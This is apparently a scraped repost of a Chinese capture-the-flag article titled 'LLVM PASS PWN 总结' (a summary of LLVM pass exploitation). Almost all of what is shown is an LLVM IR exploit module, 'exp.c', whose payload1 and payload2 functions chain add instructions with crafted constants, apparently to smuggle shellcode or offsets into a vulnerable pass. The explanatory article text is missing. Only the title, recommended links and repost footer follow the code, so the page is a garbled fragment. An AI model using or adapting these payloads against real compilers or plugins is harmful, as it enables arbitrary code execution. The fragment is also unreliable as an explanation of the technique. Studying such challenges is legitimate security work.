; ModuleID = 'exp.c'source_filename = "exp.c"target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind optnone uwtabledefine dso_local i64 @payload1(i64 %0) #0 {  %2 = add nsw i64 %0, 58603  %3 = add nsw i64 %2, 1024  %4 = add nsw i64 %3, 1024  %5 = add nsw i64 %4, 1024  %6 = add nsw i64 %5, 1024  %7 = add nsw i64 %6, 1024  %8 = add nsw i64 %7, 1024  %9 = add nsw i64 %8, 1024  %10 = add nsw i64 %9, 1024  %11 = add nsw i64 %10, 1024  %12 = add nsw i64 %11, 1024  %13 = add nsw i64 %12, 1024  %14 = add nsw i64 %13, 1024  %15 = add nsw i64 %14, 1024  %16 = add nsw i64 %15, 1024  %17 = add nsw i64 %16, 1024  %18 = add nsw i64 %17, 1024  %19 = add nsw i64 %18, 1024  %20 = add nsw i64 %19, 1024  %21 = add nsw i64 %20, 1024  %22 = add nsw i64 %21, 1024  %23 = add nsw i64 %22, 1024  %24 = add nsw i64 %23, 1024  %25 = add nsw i64 %24, 1024  %26 = add nsw i64 %25, 1024  %27 = add nsw i64 %26, 1024  %28 = add nsw i64 %27, 1024  %29 = add nsw i64 %28, 1024  %30 = add nsw i64 %29, 1024  %31 = add nsw i64 %30, 1024  %32 = add nsw i64 %31, 1024  %33 = add nsw i64 %32, 1024  %34 = add nsw i64 %33, 1024  %35 = add nsw i64 %34, 1024  %36 = add nsw i64 %35, 1024  %37 = add nsw i64 %36, 1024  %38 = add nsw i64 %37, 1024  %39 = add nsw i64 %38, 1024  %40 = add nsw i64 %39, 1024  %41 = add nsw i64 %40, 1024  %42 = add nsw i64 %41, 1024  %43 = add nsw i64 %42, 1024  %44 = add nsw i64 %43, 1024  %45 = add nsw i64 %44, 1024  %46 = add nsw i64 %45, 1024  %47 = add nsw i64 %46, 1024  %48 = add nsw i64 %47, 1024  %49 = add nsw i64 %48, 1024  %50 = add nsw i64 %49, 1024  %51 = add nsw i64 %50, 1024  %52 = add nsw i64 %51, 1024  %53 = add nsw i64 %52, 1024  %54 = add nsw i64 %53, 1024  %55 = add nsw i64 %54, 1024  %56 = add nsw i64 %55, 1024  %57 = add nsw i64 %56, 1024  %58 = add nsw i64 %57, 1024  %59 = add nsw i64 %58, 1024  %60 = add nsw i64 %59, 1024  %61 = add nsw i64 %60, 1024  %62 = add nsw i64 %61, 1024  %63 = add nsw i64 %62, 1024  %64 = add nsw i64 %63, 1024  %65 = add nsw i64 %64, 1024  %66 = add nsw i64 %65, 1024  %67 = add nsw i64 %66, 1024  %68 = add nsw i64 %67, 1024  %69 = add nsw i64 %68, 1024  %70 = add nsw i64 %69, 1024  %71 = add nsw i64 %70, 1024  %72 = add nsw i64 %71, 1024  %73 = add nsw i64 %72, 1024  %74 = add nsw i64 %73, 1024  %75 = add nsw i64 %74, 1024  %76 = add nsw i64 %75, 1024  %77 = add nsw i64 %76, 1024  %78 = add nsw i64 %77, 1024  %79 = add nsw i64 %78, 1024  %80 = add nsw i64 %79, 1024  %81 = add nsw i64 %80, 1024  %82 = add nsw i64 %81, 1024  %83 = add nsw i64 %82, 1024  %84 = add nsw i64 %83, 1024  %85 = add nsw i64 %84, 1024  %86 = add nsw i64 %85, 1024  %87 = add nsw i64 %86, 1024  %88 = add nsw i64 %87, 1024  %89 = add nsw i64 %88, 1024  %90 = add nsw i64 %89, 1024  %91 = add nsw i64 %90, 1024  %92 = add nsw i64 %91, 1024  %93 = add nsw i64 %92, 1024  %94 = add nsw i64 %93, 1024  %95 = add nsw i64 %94, 1024  %96 = add nsw i64 %95, 1024  %97 = add nsw i64 %96, 1024  %98 = add nsw i64 %97, 1024  %99 = add nsw i64 %98, 1024  %100 = add nsw i64 %99, 1024  %101 = add nsw i64 %100, 1024  %102 = add nsw i64 %101, 1024  %103 = add nsw i64 %102, 1024  %104 = add nsw i64 %103, 1024  %105 = add nsw i64 %104, 1024  %106 = add nsw i64 %105, 1024  %107 = add nsw i64 %106, 1024  %108 = add nsw i64 %107, 1024  %109 = add nsw i64 %108, 1024  %110 = add nsw i64 %109, 1024  %111 = add nsw i64 %110, 1024  %112 = add nsw i64 %111, 1024  %113 = add nsw i64 %112, 1024  %114 = add nsw i64 %113, 1024  %115 = add nsw i64 %114, 1024  %116 = add nsw i64 %115, 1024  %117 = add nsw i64 %116, 1024  %118 = add nsw i64 %117, 1024  %119 = add nsw i64 %118, 1024  %120 = add nsw i64 %119, 1024  %121 = add nsw i64 %120, 1024  %122 = add nsw i64 %121, 1024  %123 = add nsw i64 %122, 1024  %124 = add nsw i64 %123, 1024  %125 = add nsw i64 %124, 1024  %126 = add nsw i64 %125, 1024  %127 = add nsw i64 %126, 1024  %128 = add nsw i64 %127, 1024  %129 = add nsw i64 %128, 1024  %130 = add nsw i64 %129, 1024  %131 = add nsw i64 %130, 1024  %132 = add nsw i64 %131, 1024  %133 = add nsw i64 %132, 1024  %134 = add nsw i64 %133, 1024  %135 = add nsw i64 %134, 1024  %136 = add nsw i64 %135, 1024  %137 = add nsw i64 %136, 1024  %138 = add nsw i64 %137, 1024  %139 = add nsw i64 %138, 1024  %140 = add nsw i64 %139, 1024  %141 = add nsw i64 %140, 1024  %142 = add nsw i64 %141, 1024  %143 = add nsw i64 %142, 1024  %144 = add nsw i64 %143, 1024  %145 = add nsw i64 %144, 1024  %146 = add nsw i64 %145, 1024  %147 = add nsw i64 %146, 1024  %148 = add nsw i64 %147, 1024  %149 = add nsw i64 %148, 1024  %150 = add nsw i64 %149, 1024  %151 = add nsw i64 %150, 1024  %152 = add nsw i64 %151, 1024  %153 = add nsw i64 %152, 1024  %154 = add nsw i64 %153, 1024  %155 = add nsw i64 %154, 1024  %156 = add nsw i64 %155, 1024  %157 = add nsw i64 %156, 1024  %158 = add nsw i64 %157, 1024  %159 = add nsw i64 %158, 1024  %160 = add nsw i64 %159, 1024  %161 = add nsw i64 %160, 1024  %162 = add nsw i64 %161, 1024  %163 = add nsw i64 %162, 1024  %164 = add nsw i64 %163, 1024  %165 = add nsw i64 %164, 1024  %166 = add nsw i64 %165, 1024  %167 = add nsw i64 %166, 1024  %168 = add nsw i64 %167, 1024  %169 = add nsw i64 %168, 1024  %170 = add nsw i64 %169, 1024  %171 = add nsw i64 %170, 1024  %172 = add nsw i64 %171, 1024  %173 = add nsw i64 %172, 1024  %174 = add nsw i64 %173, 1024  %175 = add nsw i64 %174, 1024  %176 = add nsw i64 %175, 1024  %177 = add nsw i64 %176, 1024  %178 = add nsw i64 %177, 1024  %179 = add nsw i64 %178, 1024  %180 = add nsw i64 %179, 1024  %181 = add nsw i64 %180, 1024  %182 = add nsw i64 %181, 1024  %183 = add nsw i64 %182, 1024  %184 = add nsw i64 %183, 1024  %185 = add nsw i64 %184, 1024  %186 = add nsw i64 %185, 1024  %187 = add nsw i64 %186, 1024  %188 = add nsw i64 %187, 1024  %189 = add nsw i64 %188, 1024  %190 = add nsw i64 %189, 1024  %191 = add nsw i64 %190, 1024  %192 = add nsw i64 %191, 1024  %193 = add nsw i64 %192, 1024  %194 = add nsw i64 %193, 1024  %195 = add nsw i64 %194, 1024  %196 = add nsw i64 %195, 1024  %197 = add nsw i64 %196, 1024  %198 = add nsw i64 %197, 1024  %199 = add nsw i64 %198, 1024  %200 = add nsw i64 %199, 1024  %201 = add nsw i64 %200, 1024  %202 = add nsw i64 %201, 1024  %203 = add nsw i64 %202, 1024  %204 = add nsw i64 %203, 1024  %205 = add nsw i64 %204, 1024  %206 = add nsw i64 %205, 1024  %207 = add nsw i64 %206, 1024  %208 = add nsw i64 %207, 1024  %209 = add nsw i64 %208, 1024  %210 = add nsw i64 %209, 1024  %211 = add nsw i64 %210, 1024  %212 = add nsw i64 %211, 1024  %213 = add nsw i64 %212, 1024  %214 = add nsw i64 %213, 1024  %215 = add nsw i64 %214, 1024  %216 = add nsw i64 %215, 1024  %217 = add nsw i64 %216, 1024  %218 = add nsw i64 %217, 1024  %219 = add nsw i64 %218, 1024  %220 = add nsw i64 %219, 1024  %221 = add nsw i64 %220, 1024  %222 = add nsw i64 %221, 1024  %223 = add nsw i64 %222, 1024  %224 = add nsw i64 %223, 1024  %225 = add nsw i64 %224, 1024  %226 = add nsw i64 %225, 1024  %227 = add nsw i64 %226, 1024  %228 = add nsw i64 %227, 1024  %229 = add nsw i64 %228, 1024  %230 = add nsw i64 %229, 1024  %231 = add nsw i64 %230, 1024  %232 = add nsw i64 %231, 1024  %233 = add nsw i64 %232, 1024  %234 = add nsw i64 %233, 1024  %235 = add nsw i64 %234, 1024  %236 = add nsw i64 %235, 1024  %237 = add nsw i64 %236, 1024  %238 = add nsw i64 %237, 1024  %239 = add nsw i64 %238, 1024  %240 = add nsw i64 %239, 1024  %241 = add nsw i64 %240, 1024  %242 = add nsw i64 %241, 1024  %243 = add nsw i64 %242, 1024  %244 = add nsw i64 %243, 1024  %245 = add nsw i64 %244, 1024  %246 = add nsw i64 %245, 1024  %247 = add nsw i64 %246, 1024  %248 = add nsw i64 %247, 1024  %249 = add nsw i64 %248, 1024  %250 = add nsw i64 %249, 1024  %251 = add nsw i64 %250, 1024  %252 = add nsw i64 %251, 1024  %253 = add nsw i64 %252, 1024  %254 = add nsw i64 %253, 1024  %255 = add nsw i64 %254, 1024  %256 = add nsw i64 %255, 1024  %257 = add nsw i64 %256, 1024  %258 = add nsw i64 %257, 1024  %259 = add nsw i64 %258, 1024  %260 = add nsw i64 %259, 1024  %261 = add nsw i64 %260, 1024  %262 = add nsw i64 %261, 1024  %263 = add nsw i64 %262, 1024  %264 = add nsw i64 %263, 1024  %265 = add nsw i64 %264, 1024  %266 = add nsw i64 %265, 1024  %267 = add nsw i64 %266, 1024  %268 = add nsw i64 %267, 1024  %269 = add nsw i64 %268, 1024  %270 = add nsw i64 %269, 1024  %271 = add nsw i64 %270, 1024  %272 = add nsw i64 %271, 1024  %273 = add nsw i64 %272, 1024  %274 = add nsw i64 %273, 1024  %275 = add nsw i64 %274, 1024  %276 = add nsw i64 %275, 1024  %277 = add nsw i64 %276, 1024  %278 = add nsw i64 %277, 1024  %279 = add nsw i64 %278, 1024  %280 = add nsw i64 %279, 1024  %281 = add nsw i64 %280, 1024  %282 = add nsw i64 %281, 1024  %283 = add nsw i64 %282, 1024  %284 = add nsw i64 %283, 1024  %285 = add nsw i64 %284, 1024  %286 = add nsw i64 %285, 1024  %287 = add nsw i64 %286, 1024  %288 = add nsw i64 %287, 1024  %289 = add nsw i64 %288, 1024  %290 = add nsw i64 %289, 1024  %291 = add nsw i64 %290, 1024  %292 = add nsw i64 %291, 1024  %293 = add nsw i64 %292, 1024  %294 = add nsw i64 %293, 1024  %295 = add nsw i64 %294, 1024  %296 = add nsw i64 %295, 1024  %297 = add nsw i64 %296, 1024  %298 = add nsw i64 %297, 1024  %299 = add nsw i64 %298, 1024  %300 = add nsw i64 %299, 1024  %301 = add nsw i64 %300, 1024  %302 = add nsw i64 %301, 1024  %303 = add nsw i64 %302, 1024  %304 = add nsw i64 %303, 1024  %305 = add nsw i64 %304, 1024  %306 = add nsw i64 %305, 1024  %307 = add nsw i64 %306, 1024  %308 = add nsw i64 %307, 1024  %309 = add nsw i64 %308, 1024  %310 = add nsw i64 %309, 1024  %311 = add nsw i64 %310, 1024  %312 = add nsw i64 %311, 1024  %313 = add nsw i64 %312, 1024  %314 = add nsw i64 %313, 1024  %315 = add nsw i64 %314, 1024  ret i64 %315} ; Function Attrs: noinline nounwind optnone uwtabledefine dso_local i64 @payload2(i64 %0) #0 {  %2 = add nsw i64 %0, 1  %3 = add nsw i64 %2, 1  %4 = add nsw i64 %3, 1  %5 = add nsw i64 %4, 1  %6 = add nsw i64 %5, 1  %7 = add nsw i64 %6, 16999839996723556031  %8 = add nsw i64 %7, 16999840167007600968  %9 = add nsw i64 %8, 16999839549882511291  %10 = add nsw i64 %9, 16999840169020293448  %11 = add nsw i64 %10, 16999840169015152727  %12 = add nsw i64 %11, 16999840169015152724  %13 = add nsw i64 %12, 16999840169015152735  %14 = add nsw i64 %13, 16999840169021813064  %15 = add nsw i64 %14, 16999840169019453768  %16 = add nsw i64 %15, 16999840169015130986  %17 = add nsw i64 %16, 16999840169015152728  %18 = add nsw i64 %17, 16999840169015117071  %19 = add nsw i64 %18, 1024  %20 = add nsw i64 %19, 1024  %21 = add nsw i64 %20, 1024  %22 = add nsw i64 %21, 1024  %23 = add nsw i64 %22, 1024  %24 = add nsw i64 %23, 1024  %25 = add nsw i64 %24, 1024  %26 = add nsw i64 %25, 1024  %27 = add nsw i64 %26, 1024  %28 = add nsw i64 %27, 1024  %29 = add nsw i64 %28, 1024  %30 = add nsw i64 %29, 1024  %31 = add nsw i64 %30, 1024  %32 = add nsw i64 %31, 1024  %33 = add nsw i64 %32, 1024  %34 = add nsw i64 %33, 1024  %35 = add nsw i64 %34, 1024  %36 = add nsw i64 %35, 1024  %37 = add nsw i64 %36, 1024  %38 = add nsw i64 %37, 1024  %39 = add nsw i64 %38, 1024  %40 = add nsw i64 %39, 1024  %41 = add nsw i64 %40, 1024  %42 = add nsw i64 %41, 1024  %43 = add nsw i64 %42, 1024  %44 = add nsw i64 %43, 1024  %45 = add nsw i64 %44, 1024  %46 = add nsw i64 %45, 1024  %47 = add nsw i64 %46, 1024  %48 = add nsw i64 %47, 1024  %49 = add nsw i64 %48, 1024  %50 = add nsw i64 %49, 1024  %51 = add nsw i64 %50, 1024  %52 = add nsw i64 %51, 1024  %53 = add nsw i64 %52, 1024  %54 = add nsw i64 %53, 1024  %55 = add nsw i64 %54, 1024  %56 = add nsw i64 %55, 1024  %57 = add nsw i64 %56, 1024  %58 = add nsw i64 %57, 1024  %59 = add nsw i64 %58, 1024  %60 = add nsw i64 %59, 1024  %61 = add nsw i64 %60, 1024  %62 = add nsw i64 %61, 1024  %63 = add nsw i64 %62, 1024  %64 = add nsw i64 %63, 1024  %65 = add nsw i64 %64, 1024  %66 = add nsw i64 %65, 1024  %67 = add nsw i64 %66, 1024  %68 = add nsw i64 %67, 1024  %69 = add nsw i64 %68, 1024  %70 = add nsw i64 %69, 1024  %71 = add nsw i64 %70, 1024  %72 = add nsw i64 %71, 1024  %73 = add nsw i64 %72, 1024  %74 = add nsw i64 %73, 1024  %75 = add nsw i64 %74, 1024  %76 = add nsw i64 %75, 1024  %77 = add nsw i64 %76, 1024  %78 = add nsw i64 %77, 1024  %79 = add nsw i64 %78, 1024  %80 = add nsw i64 %79, 1024  %81 = add nsw i64 %80, 1024  %82 = add nsw i64 %81, 1024  %83 = add nsw i64 %82, 1024  %84 = add nsw i64 %83, 1024  %85 = add nsw i64 %84, 1024  %86 = add nsw i64 %85, 1024  %87 = add nsw i64 %86, 1024  %88 = add nsw i64 %87, 1024  %89 = add nsw i64 %88, 1024  %90 = add nsw i64 %89, 1024  %91 = add nsw i64 %90, 1024  %92 = add nsw i64 %91, 1024  %93 = add nsw i64 %92, 1024  %94 = add nsw i64 %93, 1024  %95 = add nsw i64 %94, 1024  %96 = add nsw i64 %95, 1024  %97 = add nsw i64 %96, 1024  %98 = add nsw i64 %97, 1024  %99 = add nsw i64 %98, 1024  %100 = add nsw i64 %99, 1024  %101 = add nsw i64 %100, 1024  %102 = add nsw i64 %101, 1024  %103 = add nsw i64 %102, 1024  %104 = add nsw i64 %103, 1024  %105 = add nsw i64 %104, 1024  %106 = add nsw i64 %105, 1024  %107 = add nsw i64 %106, 1024  %108 = add nsw i64 %107, 1024  %109 = add nsw i64 %108, 1024  %110 = add nsw i64 %109, 1024  %111 = add nsw i64 %110, 1024  %112 = add nsw i64 %111, 1024  %113 = add nsw i64 %112, 1024  %114 = add nsw i64 %113, 1024  %115 = add nsw i64 %114, 1024  %116 = add nsw i64 %115, 1024  %117 = add nsw i64 %116, 1024  %118 = add nsw i64 %117, 1024  %119 = add nsw i64 %118, 1024  %120 = add nsw i64 %119, 1024  %121 = add nsw i64 %120, 1024  %122 = add nsw i64 %121, 1024  %123 = add nsw i64 %122, 1024  %124 = add nsw i64 %123, 1024  %125 = add nsw i64 %124, 1024  %126 = add nsw i64 %125, 1024  %127 = add nsw i64 %126, 1024  %128 = add nsw i64 %127, 1024  %129 = add nsw i64 %128, 1024  %130 = add nsw i64 %129, 1024  %131 = add nsw i64 %130, 1024  %132 = add nsw i64 %131, 1024  %133 = add nsw i64 %132, 1024  %134 = add nsw i64 %133, 1024  %135 = add nsw i64 %134, 1024  %136 = add nsw i64 %135, 1024  %137 = add nsw i64 %136, 1024  %138 = add nsw i64 %137, 1024  %139 = add nsw i64 %138, 1024  %140 = add nsw i64 %139, 1024  %141 = add nsw i64 %140, 1024  %142 = add nsw i64 %141, 1024  %143 = add nsw i64 %142, 1024  %144 = add nsw i64 %143, 1024  %145 = add nsw i64 %144, 1024  %146 = add nsw i64 %145, 1024  %147 = add nsw i64 %146, 1024  %148 = add nsw i64 %147, 1024  %149 = add nsw i64 %148, 1024  %150 = add nsw i64 %149, 1024  %151 = add nsw i64 %150, 1024  %152 = add nsw i64 %151, 1024  %153 = add nsw i64 %152, 1024  %154 = add nsw i64 %153, 1024  %155 = add nsw i64 %154, 1024  %156 = add nsw i64 %155, 1024  %157 = add nsw i64 %156, 1024  %158 = add nsw i64 %157, 1024  %159 = add nsw i64 %158, 1024  %160 = add nsw i64 %159, 1024  %161 = add nsw i64 %160, 1024  %162 = add nsw i64 %161, 1024  %163 = add nsw i64 %162, 1024  %164 = add nsw i64 %163, 1024  %165 = add nsw i64 %164, 1024  %166 = add nsw i64 %165, 1024  %167 = add nsw i64 %166, 1024  %168 = add nsw i64 %167, 1024  %169 = add nsw i64 %168, 1024  %170 = add nsw i64 %169, 1024  %171 = add nsw i64 %170, 1024  %172 = add nsw i64 %171, 1024  %173 = add nsw i64 %172, 1024  %174 = add nsw i64 %173, 1024  %175 = add nsw i64 %174, 1024  %176 = add nsw i64 %175, 1024  %177 = add nsw i64 %176, 1024  %178 = add nsw i64 %177, 1024  %179 = add nsw i64 %178, 1024  %180 = add nsw i64 %179, 1024  %181 = add nsw i64 %180, 1024  %182 = add nsw i64 %181, 1024  %183 = add nsw i64 %182, 1024  %184 = add nsw i64 %183, 1024  %185 = add nsw i64 %184, 1024  %186 = add nsw i64 %185, 1024  %187 = add nsw i64 %186, 1024  %188 = add nsw i64 %187, 1024  %189 = add nsw i64 %188, 1024  %190 = add nsw i64 %189, 1024  %191 = add nsw i64 %190, 1024  %192 = add nsw i64 %191, 1024  %193 = add nsw i64 %192, 1024  %194 = add nsw i64 %193, 1024  %195 = add nsw i64 %194, 1024  %196 = add nsw i64 %195, 1024  %197 = add nsw i64 %196, 1024  %198 = add nsw i64 %197, 1024  %199 = add nsw i64 %198, 1024  %200 = add nsw i64 %199, 1024  %201 = add nsw i64 %200, 1024  %202 = add nsw i64 %201, 1024  %203 = add nsw i64 %202, 1024  %204 = add nsw i64 %203, 1024  %205 = add nsw i64 %204, 1024  %206 = add nsw i64 %205, 1024  %207 = add nsw i64 %206, 1024  %208 = add nsw i64 %207, 1024  %209 = add nsw i64 %208, 1024  %210 = add nsw i64 %209, 1024  %211 = add nsw i64 %210, 1024  %212 = add nsw i64 %211, 1024  %213 = add nsw i64 %212, 1024  %214 = add nsw i64 %213, 1024  %215 = add nsw i64 %214, 1024  %216 = add nsw i64 %215, 1024  %217 = add nsw i64 %216, 1024  %218 = add nsw i64 %217, 1024  %219 = add nsw i64 %218, 1024  %220 = add nsw i64 %219, 1024  %221 = add nsw i64 %220, 1024  %222 = add nsw i64 %221, 1024  %223 = add nsw i64 %222, 1024  %224 = add nsw i64 %223, 1024  %225 = add nsw i64 %224, 1024  %226 = add nsw i64 %225, 1024  %227 = add nsw i64 %226, 1024  %228 = add nsw i64 %227, 1024  %229 = add nsw i64 %228, 1024  %230 = add nsw i64 %229, 1024  %231 = add nsw i64 %230, 1024  %232 = add nsw i64 %231, 1024  %233 = add nsw i64 %232, 1024  %234 = add nsw i64 %233, 1024  %235 = add nsw i64 %234, 1024  %236 = add nsw i64 %235, 1024  %237 = add nsw i64 %236, 1024  %238 = add nsw i64 %237, 1024  %239 = add nsw i64 %238, 1024  %240 = add nsw i64 %239, 1024  %241 = add nsw i64 %240, 1024  %242 = add nsw i64 %241, 1024  %243 = add nsw i64 %242, 1024  %244 = add nsw i64 %243, 1024  %245 = add nsw i64 %244, 1024  %246 = add nsw i64 %245, 1024  %247 = add nsw i64 %246, 1024  %248 = add nsw i64 %247, 1024  %249 = add nsw i64 %248, 1024  %250 = add nsw i64 %249, 1024  %251 = add nsw i64 %250, 1024  %252 = add nsw i64 %251, 1024  %253 = add nsw i64 %252, 1024  %254 = add nsw i64 %253, 1024  %255 = add nsw i64 %254, 1024  %256 = add nsw i64 %255, 1024  %257 = add nsw i64 %256, 1024  %258 = add nsw i64 %257, 1024  %259 = add nsw i64 %258, 1024  %260 = add nsw i64 %259, 1024  %261 = add nsw i64 %260, 1024  %262 = add nsw i64 %261, 1024  %263 = add nsw i64 %262, 1024  %264 = add nsw i64 %263, 1024  %265 = add nsw i64 %264, 1024  %266 = add nsw i64 %265, 1024  %267 = add nsw i64 %266, 1024  %268 = add nsw i64 %267, 1024  %269 = add nsw i64 %268, 1024  %270 = add nsw i64 %269, 1024  %271 = add nsw i64 %270, 1024  %272 = add nsw i64 %271, 1024  %273 = add nsw i64 %272, 1024  %274 = add nsw i64 %273, 1024  %275 = add nsw i64 %274, 1024  %276 = add nsw i64 %275, 1024  %277 = add nsw i64 %276, 1024  %278 = add nsw i64 %277, 1024  %279 = add nsw i64 %278, 1024  %280 = add nsw i64 %279, 1024  %281 = add nsw i64 %280, 1024  %282 = add nsw i64 %281, 1024  %283 = add nsw i64 %282, 1024  %284 = add nsw i64 %283, 1024  %285 = add nsw i64 %284, 1024  %286 = add nsw i64 %285, 1024  %287 = add nsw i64 %286, 1024  %288 = add nsw i64 %287, 1024  %289 = add nsw i64 %288, 1024  %290 = add nsw i64 %289, 1024  %291 = add nsw i64 %290, 1024  %292 = add nsw i64 %291, 1024  %293 = add nsw i64 %292, 1024  %294 = add nsw i64 %293, 1024  %295 = add nsw i64 %294, 1024  %296 = add nsw i64 %295, 1024  %297 = add nsw i64 %296, 1024  %298 = add nsw i64 %297, 1024  %299 = add nsw i64 %298, 1024  %300 = add nsw i64 %299, 1024  %301 = add nsw i64 %300, 1024  %302 = add nsw i64 %301, 1024  %303 = add nsw i64 %302, 1024  %304 = add nsw i64 %303, 1024  %305 = add nsw i64 %304, 1024  %306 = add nsw i64 %305, 1024  %307 = add nsw i64 %306, 1024  %308 = add nsw i64 %307, 1024  %309 = add nsw i64 %308, 1024  %310 = add nsw i64 %309, 1024  %311 = add nsw i64 %310, 1024  %312 = add nsw i64 %311, 1024  %313 = add nsw i64 %312, 1024  %314 = add nsw i64 %313, 1024  %315 = add nsw i64 %314, 1024  %316 = add nsw i64 %315, 1024  %317 = add nsw i64 %316, 1024  %318 = add nsw i64 %317, 1024  ret i64 %318} attributes #0 = { noinline nounwind optnone uwtable "disable-tail-calls"="false" "frame-pointer"="all" "less-precise-fpmad"="false" "min-legal-vector-width"="0" "no-infs-fp-math"="false" "no-jump-tables"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" "unsafe-fp-math"="false" "use-soft-float"="false" } !llvm.module.flags = !{!0}!llvm.ident = !{!1} !0 = !{i32 1, !"wchar_size", i32 4}!1 = !{!"Ubuntu clang version 12.0.0-3ubuntu1~20.04.5"}


LLVM PASS PWN 总结


看雪ID:winmt

https://bbs.pediy.com/user-home-949925.htm

*本文由看雪论坛 winmt 原创,转载请注明来自看雪社区

LLVM PASS PWN 总结



# 往期推荐

1.四级分页下的页表自映射与基址随机化原理介绍

2.Android 10属性系统原理,检测与定制源码反检测

3.WhatsApp私信协议实现记录

4.Android4.4和8.0 DexClassLoader加载流程分析之寻找脱壳点

5.实战DLL注入

6.某车联网APP加固分析



LLVM PASS PWN 总结



LLVM PASS PWN 总结

球分享

LLVM PASS PWN 总结

球点赞

LLVM PASS PWN 总结

球在看



LLVM PASS PWN 总结

点击“阅读原文”,了解更多!

原文始发于微信公众号(看雪学苑):LLVM PASS PWN 总结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月3日01:55:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   LLVM PASS PWN 总结https://cn-sec.com/archives/1292053.html

发表评论

匿名网友 填写信息